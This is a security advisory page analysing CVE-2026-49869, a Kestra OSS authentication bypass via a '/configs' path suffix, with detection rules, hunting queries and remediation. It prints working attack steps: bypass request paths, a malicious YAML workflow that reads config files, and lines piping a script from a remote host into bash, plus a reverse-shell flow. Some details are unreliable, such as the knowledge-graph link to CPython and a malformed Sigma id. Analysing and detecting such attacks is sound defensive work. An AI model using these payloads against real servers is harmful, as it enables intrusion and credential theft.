Skip to content
Hermes Codex

CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix Whitelisting

HERMES

HERMES THREAT SCORE & ORCHESTRATION ENGINE COMPROMISE

Target: Kestra OSS (Data & Workflow Orchestrator)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-49869 at 9.8 (Critical) and CVSS v4.0 at 10.0 (Critical). The Hermes Threat Score assigns 98 (CRITICAL). This alignment reflects zero-barrier unauthenticated exploitation: an attacker merely appends a whitelisted suffix to arbitrary API endpoints, injects arbitrary workflow definitions executing shell/Python tasks, and gains instant root container access on exposed orchestration infrastructure.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-49869: Authentication Bypass to Remote Code Execution in Kestra OSS via Path Suffix WhitelistingVULNERABILITY

Connected Nodes: 3
Active Relationships (Outgoing)
→ affectsPRODUCTCPython Interpreter & Standard Library
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Kestra is frequently deployed across Kubernetes clusters, cloud environments (AWS, GCP, Azure), and bare-metal servers to automate data pipelines, ETL workflows, and DevOps CI/CD jobs.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-49869International tracking ID & CISA KEV entry
GHSA IdentifierGHSA-5vc5-wxxq-3fjxGitHub Security Advisory
Vulnerable Componentkestra-core / AuthenticationFilterMicron-based HTTP request interceptor
Network VectorHTTP/HTTPS (Default port 8080/TCP)Internet-facing Web UI and REST API
Root CauseInsecure URL path suffix comparison (endsWith)Path traversal / endpoint spoofing bypass
Affected Versions< 1.0.45, 1.1.0 to < 1.3.21Production Kestra OSS instances
Fixed Versions1.0.45 and 1.3.21Official patch releases
Active WeaponizationPublic PoCs & In-the-wild automated scanningMass reconnaissance and cryptominer drop

2. In-Depth Technical Decomposition: Path Suffix Bypass & RCE

Section titled “2. In-Depth Technical Decomposition: Path Suffix Bypass & RCE”

A. The Flawed Filter Implementation

Section titled “A. The Flawed Filter Implementation”

In vulnerable Kestra builds, incoming HTTP requests pass through an authentication filter designed to enforce JWT or basic authorization headers unless the request targets open resources such as health checks or initial configuration parameters.

The vulnerable evaluation logic was implemented similar to:

// Vulnerable logic in Kestra AuthenticationFilter
public boolean isAnonymousAccessAllowed(HttpRequest<?> request) {
    String path = request.getPath();
    return path.equals("/api/v1/health")
        || path.endsWith("/configs") // Flaw: Any path ending with /configs passes!
        || path.startsWith("/ui/");
}

Because request.getPath().endsWith("/configs") does not anchor the path to the root or check query parameters strictly, an attacker can append /configs as an extra path segment, or invoke endpoints whose routing handles path parameters dynamically:

POST /api/v1/executions/webhook/prod/my-flow/configs
POST /api/v1/flows/configs HTTP/1.1
Host: orchestrator.target.corp:8080
Content-Type: application/x-yaml

The filter observes that the request URI terminates with /configs, categorizes the request as exempt from authentication, and forwards it down the Netty pipeline directly to the REST controllers.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-49869 ATTACK FLOW ARCHITECTURE                                   |
+----------------------------------------------------------------------------------------------------+


  [Remote Adversary]                                                      [Kestra Server (Port 8080)]
          │                                                                            │
   [1]    │─── HTTP POST /api/v1/flows/configs (No Auth Header) ──────────────────────>│ AuthenticationFilter:
          │    Payload: Malicious YAML workflow definition                             │ Checks path.endsWith("/configs")
          │    with io.kestra.plugin.scripts.shell.Commands                            │ Result: TRUE -> Bypasses JWT auth!
          │                                                                            │
   [2]    │                                                                            │ Flow Controller:
          │                                                                            │ Registers new executable workflow
          │                                                                            │ "backdoor-runner" in namespace "default"
          │                                                                            │
   [3]    │─── HTTP POST /api/v1/executions/default/backdoor-runner/configs ──────────>│ AuthenticationFilter:
          │    Triggers instant asynchronous execution                                 │ Bypasses auth again!
          │                                                                            │
   [4]    │                                                                            │ Kestra Worker Container:
          │                                                                            │ Spawns task under root:
          │                                                                            │ /bin/sh -c "curl attacker/sh | sh"
          │                                                                            │
   [5]    │<═══ Reverse Shell / Command Output Stream ═════════════════════════════════│ Container Compromised (UID 0)
          │                                                                            │ Cloud IAM / DB credentials stolen
+----------------------------------------------------------------------------------------------------+

B. Exploitation Weaponization & Workflow Construction

Section titled “B. Exploitation Weaponization & Workflow Construction”

Once authentication is bypassed, the attacker creates a workflow defining a shell script task. Because Kestra executes workflows with full container host access, arbitrary operating system binaries can be invoked directly:

id: pwned-workflow
namespace: system
tasks:
  - id: shell_exec
    type: io.kestra.plugin.scripts.shell.Commands
    commands:
      - id
      - uname -a
      - cat /app/kestra.yml
      - curl -s http://198.51.100.42:8000/payload.sh | bash

The execution returns standard output directly in the execution response logs, providing full interactive command output back to the unauthenticated adversary.

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

Section titled “3. Threat Intelligence, CISA KEV & Exploitation in the Wild”
  • CISA KEV Addition: Added to the KEV catalog following widespread scanning by automated opportunistic botnets targeting port 8080.
  • Threat Actor Targeting: Observed in automated botnet campaigns deploying XMRig Monero cryptominers, container escape toolkits, and harvesting cloud instance metadata tokens (169.254.169.254).
  • Blast Radius: High. Organizations using Kestra typically store relational database connection strings, S3/GCS service account keys, and API tokens directly in Kestra secret stores, all of which are dumped upon container compromise.

4. MITRE ATT&CK Mapping

Section titled “4. MITRE ATT&CK Mapping”
TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationRemote HTTP request to exposed port 8080
Defense EvasionT1556Modify Authentication ProcessSuffix spoofing to bypass AuthenticationFilter
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellWorkflow execution via plugin-scripts-shell
Privilege EscalationT1068Exploitation for Privilege EscalationExecution as container default root user
Credential AccessT1552.001Credentials in FilesDumping Kestra secrets and environment variables

5. Detection Engineering & Telemetry

Section titled “5. Detection Engineering & Telemetry”

A. Suricata Network Detection Rule

Section titled “A. Suricata Network Detection Rule”
alert http any any -> $HTTP_SERVERS 8080 (
  msg:"HERMES DEFENSE - Kestra OSS Auth Bypass Exploitation Attempt (CVE-2026-49869)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/configs"; endswith;
  http.uri; pcre:"/\/api\/v1\/(flows|executions)\/.*\/configs$/i";
  classtype:web-application-attack;
  sid:202649869;
  rev:1;
  reference:cve,2026-49869;
)

B. Sigma Detection Rule

Section titled “B. Sigma Detection Rule”
title: Kestra OSS Authentication Bypass Endpoint Abuse
id: a8b9c1d2-4986-4c22-b210-cve202649869
status: production
description: Detects suspicious POST requests to Kestra API endpoints with /configs suffix bypassing authentication
author: Hermes Codex Cyber Defense Team
date: 2026-09-11
logsource:
  category: webserver
  service: kestra_access_log
detection:
  selection:
    cs_method: 'POST'
    cs_uri_stem|endswith: '/configs'
    cs_uri_stem|contains:
      - '/api/v1/flows'
      - '/api/v1/executions'
  filter_legit:
    cs_uri_stem: '/api/v1/configs'
  condition: selection and not filter_legit
fields:
  - c_ip
  - cs_uri_stem
  - sc_status
falsepositives:
  - Unknown custom scripts invoking legitimate configs sub-endpoints
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.49869

6. DFIR Forensics, Artifacts & Hunting Queries

Section titled “6. DFIR Forensics, Artifacts & Hunting Queries”

Forensics Indicators:

Section titled “Forensics Indicators:”
  1. HTTP Access Logs: Look for anomalous POST requests to paths such as /api/v1/flows.../configs returning 200 OK or 201 Created with no Authorization bearer header.
  2. Kestra Internal Database / Repository: Query the kestra_flows table or storage backend for newly created workflows containing io.kestra.plugin.scripts.
  3. Container Process Lineage: Examine Docker/Kubernetes container logs for unexpected child processes spawned under java:
    Terminal window
    pstree -pa $(pgrep -f kestra)

Hunting Query (Elasticsearch / OpenSearch):

Section titled “Hunting Query (Elasticsearch / OpenSearch):”
{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "wildcard": { "url.path": "*\/api\/v1\/*\/configs" } }
      ],
      "must_not": [
        { "term": { "url.path": "/api/v1/configs" } }
      ]
    }
  }
}

7. Mitigation & Remediation

Section titled “7. Mitigation & Remediation”
  1. Apply Official Patches: Upgrade Kestra OSS to version 1.0.45 (for v1.0.x branches) or 1.3.21 (for v1.x branches) immediately.
  2. Network Isolation: Restrict Kestra port 8080/TCP access to trusted internal IP ranges and VPN gateways; do not expose Kestra management interfaces directly to the public internet.
  3. Disable Unnecessary Script Plugins: If untrusted tenants use Kestra, enforce isolation runners (Docker-in-Docker isolation or Kubernetes runner with non-root security contexts) rather than default in-process worker execution.
  4. Secret Rotation: In case of suspected intrusion, immediately rotate all database credentials, cloud API keys, and notification webhook secrets stored in the Kestra environment.

8. References & Advisories

Section titled “8. References & Advisories”